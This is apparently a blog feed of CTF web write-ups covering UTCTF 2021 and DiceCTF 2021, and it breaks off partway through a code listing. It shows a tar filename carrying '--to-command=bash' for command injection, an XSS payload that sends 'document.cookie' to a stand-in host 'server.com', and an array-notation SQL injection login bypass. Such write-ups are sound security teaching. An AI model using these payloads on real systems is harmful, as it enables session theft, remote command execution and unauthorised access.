</span></span><span style="display:flex;"><span>  <span style="color:#75715e">## ^^ boot-id + one of the cgroups. </span>
</span></span><span style="display:flex;"><span>  ] 
</span></span></code></pre></div><p>Give the script these hard-coded values and get the pin, provide it to the debugger and now you have a python console ready to go!</p>

    <img src="/images/bo1lers2021_flag.png"  alt="flag"  class="center"  style="border-radius: 8px;"  />


<p><code>b0ctf{Fl4sK_d3buG_is_InseCure}</code></p>
<p><strong>Vie</strong></p>
]]></content>
        </item>
        
        <item>
            <title>UTCTF 2021</title>
            <link>https://jamvie.net/posts/2021/03/utctf-2021/</link>
            <pubDate>Sun, 14 Mar 2021 17:17:38 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2021/03/utctf-2021/</guid>
            <description>Lightning Round The first few web challenges were pretty trivial so I&amp;rsquo;ll do super quick, 2-sentence descriptions on how to solve them.
Source it! Inspect source. You&amp;rsquo;ll find it.
Oinker Make an oink with the exact same content and realize that each oink has an allocated place in the webpage&amp;rsquo;s directory. (Example - inputting alert(1); leads to oink endpoint 64). Go to \oink\2 to get the flag.
Fastfox (easy way) Intended (hard) solution was escalating a JIT bug, which I will definitely research more of so expect part 2 ;) but the easy way was determining what functions were available in the scope of Bob&amp;rsquo;s jsshell.</description>
            <content type="html"><![CDATA[<h2 id="lightning-round">Lightning Round</h2>
<p>The first few web challenges were pretty trivial so I&rsquo;ll do super quick, 2-sentence descriptions on how to solve them.</p>
<h3 id="source-it">Source it!</h3>
<p>Inspect source. You&rsquo;ll find it.</p>
<h3 id="oinker">Oinker</h3>
<p>Make an oink with the exact same content and realize that each oink has an allocated place in the webpage&rsquo;s directory. (Example - inputting <code>alert(1);</code> leads to oink endpoint 64). Go to <code>\oink\2</code> to get the flag.</p>
<h3 id="fastfox-easy-way">Fastfox (easy way)</h3>
<p>Intended (hard) solution was escalating a JIT bug, which I will definitely research more of so expect part 2 ;) but the easy way was determining what functions were available in the scope of Bob&rsquo;s jsshell. Some recon shows us that <code>os.system()</code> is in the scope, so <code>os.system('cat flag.txt')</code> gives you the flag.</p>
<hr>
<h2 id="tar-inspector">Tar Inspector</h2>
<p>This will mainly be a writeup for the challenge &ldquo;Tar Inspector&rdquo;.</p>

    <img src="/images/utctf2021-tarmainpage.png"  alt="Tar Inspector"  class="center"  style="border-radius: 8px;"  />


<p>The name is self-explanatory: you get a webpage that lets you provide a tar file to it and it&rsquo;ll extract it to display the contents in a tree structure. A hint was provided that displayed the sanitization function that the filename of your provided file would go through - essentially removing all possible shell metachars, and barring against possible traversal attacks.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#75715e"># creates a secured version of the filename</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">secure_filename</span>(filename):
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># strip extension and any sneaky path traversal stuff</span>
</span></span><span style="display:flex;"><span>    filename <span style="color:#f92672">=</span> filename[:<span style="color:#f92672">-</span><span style="color:#ae81ff">4</span>]
</span></span><span style="display:flex;"><span>    filename <span style="color:#f92672">=</span> os<span style="color:#f92672">.</span>path<span style="color:#f92672">.</span>basename(filename)
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># escape shell metacharacters</span>
</span></span><span style="display:flex;"><span>    filename <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>sub(<span style="color:#e6db74">&#34;(!|\$|#|&amp;|</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">|</span><span style="color:#ae81ff">\&#39;</span><span style="color:#e6db74">|\(|\)|\||&lt;|&gt;|`|</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">\|;)&#34;</span>, <span style="color:#e6db74">r</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">\1&#34;</span>, filename)
</span></span><span style="display:flex;"><span>    filename <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>sub(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#e6db74">&#34;&#34;</span>, filename)
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># add extension</span>
</span></span><span style="display:flex;"><span>    filename <span style="color:#f92672">+=</span> <span style="color:#e6db74">&#39;__&#39;</span><span style="color:#f92672">+</span>hex(randrange(<span style="color:#ae81ff">10000000</span>))[<span style="color:#ae81ff">2</span>:]<span style="color:#f92672">+</span><span style="color:#e6db74">&#39;.tar&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> filename
</span></span></code></pre></div><p>&hellip;Except, you could put spaces in your filename. Input some file with the filename <code>te st.tar</code> will give it an error, and it&rsquo;s likely because the space forces the backend to interpret <code>te</code> and <code>st</code> as seperate commands, which will return an error. This tells us something very important - our filename is put into some sort of command line interface - likely a call to GNU <code>tar</code> to actually extract our file. So, if we can use whitespaces in our filename, can we add some arbitrary <code>tar</code> commands?</p>
<p>The answer is yes: inspect the <a href="https://man7.org/linux/man-pages/man1/tar.1.html">tar</a> man page for a bit and you&rsquo;ll come across a particularly useful option called <code>--to-command=COMMAND</code>. Its usage is something like:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>tar xvf &lt;yourfile.tar&gt; --to-command<span style="color:#f92672">=</span>bash
</span></span></code></pre></div><p>And the contents of <code>yourfile.tar</code> could then hold bash commands. The idea is that <code>--to-command=COMMAND</code> will extract the contents of your tar file and pipe it into the standard input of the command you stipulated.</p>
<p>Trying this out with <code>ls</code> for example:</p>

    <img src="/images/utctf2021_ls.png"  alt="sa256"  class="center"  style="border-radius: 8px;"  />


<p>You can see that other files are being added by other people attempting this challenge. So, we have the ability to inject commands into the server, and with that, we can easily get the flag.</p>
<p>Make a simple .txt file to <code>cat</code> the flag: <code>cat /flag.txt</code>. Tar it (<strong>uncompressed!</strong> I wasted a bunch of time thinking my exploits weren&rsquo;t working when really it was cause my tar files were compressed) and then submit that to the inspector. All archives exist in the same directory, which is a fact we&rsquo;ll need for later.</p>
<p>We want to submit another tar file where the filename is a GNU tar command. Since we can access our earlier file, we can reference it (note that the challenge appends a weird randomized suffix to every tar archive you give it, so make sure you include that) and give it the option <code>--to-command=bash</code>. Due to the whole suffix appending issue, use the GNU tar <code>-F</code> option to absorb it. All in all, your second file should have the filename:</p>
<pre tabindex="0"><code>yourFirstFileThatHasShellCommandsInIt__XXXXX.tar --to-command=bash -F .tar
</code></pre><p>Then submit your second tar file (and the contents of the 2nd tar file don&rsquo;t matter at all. Just needs the right filename).</p>

    <img src="/images/utctf2021_flag.png"  alt="commandinjectionwao"  class="center"  style="border-radius: 8px;"  />


<p>ayo!</p>
<p><strong>Vie</strong></p>
]]></content>
        </item>
        
        <item>
            <title>DiceCTF 2021</title>
            <link>https://jamvie.net/posts/2021/02/dicectf-2021/</link>
            <pubDate>Sun, 07 Feb 2021 19:06:12 -0700</pubDate>
            
            <guid>https://jamvie.net/posts/2021/02/dicectf-2021/</guid>
            <description>Babier CSP The challenge takes after justCTF&amp;rsquo;s similarly named challenge. We&amp;rsquo;re given an index.js file:
const express = require(&amp;#39;express&amp;#39;); const crypto = require(&amp;#34;crypto&amp;#34;); const config = require(&amp;#34;./config.js&amp;#34;); const app = express() const port = process.env.port || 3000; const SECRET = config.secret; const NONCE = crypto.randomBytes(16).toString(&amp;#39;base64&amp;#39;); const template = name =&amp;gt; ` &amp;lt;html&amp;gt; ${name === &amp;#39;&amp;#39; ? &amp;#39;&amp;#39;: `&amp;lt;h1&amp;gt;${name}&amp;lt;/h1&amp;gt;`} &amp;lt;a href=&amp;#39;#&amp;#39; id=elem&amp;gt;View Fruit&amp;lt;/a&amp;gt; &amp;lt;script nonce=${NONCE}&amp;gt; elem.onclick = () =&amp;gt; { location = &amp;#34;/?</description>
            <content type="html"><![CDATA[<h2 id="babier-csp">Babier CSP</h2>
<p>The challenge takes after justCTF&rsquo;s <a href="/posts/2021/01/justctf-2020-a-collection-of-web-problems/#baby-csp">similarly named challenge</a>. We&rsquo;re given an <code>index.js</code> file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">express</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;express&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">crypto</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#34;crypto&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">config</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#34;./config.js&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">app</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">express</span>()
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">port</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">process</span>.<span style="color:#a6e22e">env</span>.<span style="color:#a6e22e">port</span> <span style="color:#f92672">||</span> <span style="color:#ae81ff">3000</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">SECRET</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">config</span>.<span style="color:#a6e22e">secret</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">NONCE</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">crypto</span>.<span style="color:#a6e22e">randomBytes</span>(<span style="color:#ae81ff">16</span>).<span style="color:#a6e22e">toString</span>(<span style="color:#e6db74">&#39;base64&#39;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">template</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">name</span> =&gt; <span style="color:#e6db74">`
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&lt;html&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"></span><span style="color:#e6db74">${</span><span style="color:#a6e22e">name</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#39;&#39;</span> <span style="color:#f92672">?</span> <span style="color:#e6db74">&#39;&#39;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">`&lt;h1&gt;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">name</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&lt;/h1&gt;`</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&lt;a href=&#39;#&#39; id=elem&gt;View Fruit&lt;/a&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&lt;script nonce=</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">NONCE</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">elem.onclick = () =&gt; {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  location = &#34;/?name=&#34; + encodeURIComponent([&#34;apple&#34;, &#34;orange&#34;, &#34;pineapple&#34;, &#34;pear&#34;][Math.floor(4 * Math.random())]);
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&lt;/script&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&lt;/html&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">`</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;/&#39;</span>, (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">setHeader</span>(<span style="color:#e6db74">&#34;Content-Security-Policy&#34;</span>, <span style="color:#e6db74">`default-src none; script-src &#39;nonce-</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">NONCE</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;;`</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">send</span>(<span style="color:#a6e22e">template</span>(<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">query</span>.<span style="color:#a6e22e">name</span> <span style="color:#f92672">||</span> <span style="color:#e6db74">&#34;&#34;</span>));
</span></span><span style="display:flex;"><span>})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">use</span>(<span style="color:#e6db74">&#39;/&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">SECRET</span>, <span style="color:#a6e22e">express</span>.<span style="color:#66d9ef">static</span>(<span style="color:#a6e22e">__dirname</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;/secret&#34;</span>));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">listen</span>(<span style="color:#a6e22e">port</span>, () =&gt; {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#e6db74">`Example app listening at http://localhost:</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">port</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>)
</span></span><span style="display:flex;"><span>})
</span></span></code></pre></div><p>The main difference between Dice&rsquo;s challenge and justCatTheFish&rsquo;s is the hashing of the <code>NONCE</code> value. When this script is executed, it sets the <code>NONCE</code> value once, and it doesn&rsquo;t change values once this server is running.</p>
<p>In justCatTheFish&rsquo;s challenge, the <code>NONCE</code> value is hashed every time a request is made, sufficiently randomizing the value. However, for this challenge, we can easily get the <code>NONCE</code> value from the content security policy and incorporate it into our input so it will be accepted.</p>
<p>We can do a reflected XSS attack by specifying a <code>?name=</code> query parameter, so we would inject a script tag in the URL. We need to specify the right <code>NONCE</code> value, which we can see by accessing the page:</p>

    <img src="/images/DiceCTF2021_BabierCSPNonce.png"  alt="sa256"  class="center"  style="border-radius: 8px;"  />


<p>And so we format our payload as:</p>
<pre tabindex="0"><code class="language-URL" data-lang="URL">https://babier-csp.dicec.tf/?name=&lt;script+nonce=LRGWAXOY98Es0zz0QOVmag==&gt;document.location=&#39;server.com?cookie=&#39;%2Bbtoa(document.cookie)&lt;/script&gt;
</code></pre><p>We grab the secret in the cookie and use that value to access the flag.</p>
<pre tabindex="0"><code>https://babier-csp.dicec.tf/4b36b1b8e47f761263796b1defd80745/
</code></pre>
    <img src="/images/DiceCTF2021_BabierCSPFlag.png"  alt="sa256"  class="center"  style="border-radius: 8px;"  />


<h2 id="missing-flavortext">Missing Flavortext</h2>
<p>We are given a single login page, and an <code>index.js</code> file (Some parts omitted to show what is relevant):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">express</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;express&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">bodyParser</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;body-parser&#39;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">app</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">express</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// parse json and serve static files
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">use</span>(<span style="color:#a6e22e">bodyParser</span>.<span style="color:#a6e22e">urlencoded</span>({ <span style="color:#a6e22e">extended</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span> }));
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">use</span>(<span style="color:#a6e22e">express</span>.<span style="color:#66d9ef">static</span>(<span style="color:#e6db74">&#39;static&#39;</span>));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// login route
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">post</span>(<span style="color:#e6db74">&#39;/login&#39;</span>, (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">username</span> <span style="color:#f92672">||</span> <span style="color:#f92672">!</span><span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">password</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">redirect</span>(<span style="color:#e6db74">&#39;/&#39;</span>);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> ([<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">username</span>, <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">password</span>].<span style="color:#a6e22e">some</span>(<span style="color:#a6e22e">v</span> =&gt; <span style="color:#a6e22e">v</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;\&#39;&#39;</span>))) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">redirect</span>(<span style="color:#e6db74">&#39;/&#39;</span>);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// see if user is in database
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">query</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`SELECT id FROM users WHERE
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    username = &#39;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">username</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#39; AND
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    password = &#39;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">password</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  `</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">id</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">try</span> { <span style="color:#a6e22e">id</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#a6e22e">query</span>).<span style="color:#a6e22e">get</span>()<span style="color:#f92672">?</span>.<span style="color:#a6e22e">id</span> } <span style="color:#66d9ef">catch</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">redirect</span>(<span style="color:#e6db74">&#39;/&#39;</span>);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// correct login
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">id</span>) <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">sendFile</span>(<span style="color:#e6db74">&#39;flag.html&#39;</span>, { <span style="color:#a6e22e">root</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">__dirname</span> });
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// incorrect login
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">redirect</span>(<span style="color:#e6db74">&#39;/&#39;</span>);
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>Earlier we saw that we needed to log in as the user <code>admin</code>, and there&rsquo;s an sqlite database holding the user credentials. We&rsquo;re not given much feedback - if we give a set of invalid credentials, or an issue with the database occurs, or the <code>username</code> and <code>password</code> parameters aren&rsquo;t set, OR either of those parameters contain a <code>'</code> single quote, we are redirected back to the index.
This means that if we try to inject single quotes ourselves to try a classic sqli payload such as <code> ' OR 1=1</code> in the <code>password</code> parameter, the app would reject it.</p>
<p>However, what&rsquo;s important to note is the application&rsquo;s use of its <code>bodyParser</code>, which is operating on extended mode. If you&rsquo;ve seen my <a href="/posts/2020/08/googlectf-2020-pasteurize">GoogleCTF Pasteurize writeup</a>, then you&rsquo;d probably know about the flexibility of extended mode and what that means for us here. To summarize, npm&rsquo;s <code>bodyParser</code> will use the <code>qs</code> library to parse request bodies when in extended mode. The <code>qs</code> library can parse a variety of different objects - not just strings - if they&rsquo;re formatted a certain way in the request. By default, the contents of the request body will be parsed as strings and treated as such - but if you give a request parameter and specify it to be parsed as an array (using <code>[]</code> notation), it will instead be parsed as an array.</p>
<p>When the program parses through our input, looking for a single quote character, it will parse it differently according to its type. If our input is a string, the functionality of the program will iterate through each character in the string in search of a single quote. But if our input is an array, it will iterate through each element in the array, looking for an element that will exactly match a single quote. We can therefore bypass the single quote check by specifying our <code>password</code> parameter as an array. So, we just need to modify the request body accordingly.</p>
<pre tabindex="0"><code>username=admin&amp;password[]=test&#39; OR 1=1--
</code></pre><p>Without the <code>[]</code> notation, the <code>'</code> char in our input would fail the check.</p>
<h2 id="web-utils">Web Utils</h2>
<p>The application appears to be a pastebin and also a URL shortener. We&rsquo;re provided the source as well, and what&rsquo;s interesting is to note how the application parses our input, which is treated as JSON.</p>
<p>If we create a paste, there&rsquo;s a front-end script which runs a request to <code>/api/createPaste</code>, which stores our paste into a database.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>(<span style="color:#66d9ef">async</span> () =&gt; {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">await</span> <span style="color:#66d9ef">new</span> Promise((<span style="color:#a6e22e">resolve</span>) =&gt; {
</span></span><span style="display:flex;"><span>    window.<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">&#39;load&#39;</span>, <span style="color:#a6e22e">resolve</span>);
</span></span><span style="display:flex;"><span>  });
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;text-form&#39;</span>).<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">&#39;submit&#39;</span>, <span style="color:#66d9ef">async</span> (<span style="color:#a6e22e">e</span>) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">preventDefault</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">text</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;text-input&#39;</span>).<span style="color:#a6e22e">value</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">res</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> (<span style="color:#66d9ef">await</span> <span style="color:#a6e22e">fetch</span>(<span style="color:#e6db74">&#39;/api/createPaste&#39;</span>, {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">method</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;POST&#39;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#39;Content-Type&#39;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;application/json&#39;</span>
</span></span><span style="display:flex;"><span>      },
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">body</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>({
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">data</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">text</span>
</span></span><span style="display:flex;"><span>      })
</span></span><span style="display:flex;"><span>    })).<span style="color:#a6e22e">json</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;output&#39;</span>).<span style="color:#a6e22e">textContent</span> <span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">`</span><span style="color:#e6db74">${</span>window.<span style="color:#a6e22e">origin</span><span style="color:#e6db74">}</span><span style="color:#e6db74">/view/</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">data</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>
</span></span><span style="display:flex;"><span>  });
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>})();
</span></span></code></pre></div><p>Similarly if we make a shortened link, there&rsquo;s a front-end script that will do the same thing, but instead to <code>/api/createLink</code>.</p>
<p>This seems like a cut and clear xss, with a caveat: when we make a paste, our input is treated as a string and so we won&rsquo;t be able to inject anything in a string context. Luckily, we can make a link, which in the <code>view.html</code> module will set the <code>window.location</code> to whatever we specify. Here, we can potentially escape out of the string context and execute javascript. However, unluckily, if we try to make a link, the <code>/api/createLink</code> endpoint has an additional check not present in the paste endpoint:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fastify</span>.<span style="color:#a6e22e">post</span>(<span style="color:#e6db74">&#39;createLink&#39;</span>, {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">handler</span><span style="color:#f92672">:</span> (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">rep</span>) =&gt; {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">uid</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">generateUid</span>(<span style="color:#ae81ff">8</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">regex</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> RegExp(<span style="color:#e6db74">&#39;^https?://&#39;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span> <span style="color:#a6e22e">regex</span>.<span style="color:#a6e22e">test</span>(<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">data</span>))
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">rep</span>
</span></span><span style="display:flex;"><span>          .<span style="color:#a6e22e">code</span>(<span style="color:#ae81ff">200</span>)
</span></span><span style="display:flex;"><span>          .<span style="color:#a6e22e">header</span>(<span style="color:#e6db74">&#39;Content-Type&#39;</span>, <span style="color:#e6db74">&#39;application/json; charset=utf-8&#39;</span>)
</span></span><span style="display:flex;"><span>          .<span style="color:#a6e22e">send</span>({
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">statusCode</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">200</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">error</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;Invalid URL&#39;</span>
</span></span><span style="display:flex;"><span>          });
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>...
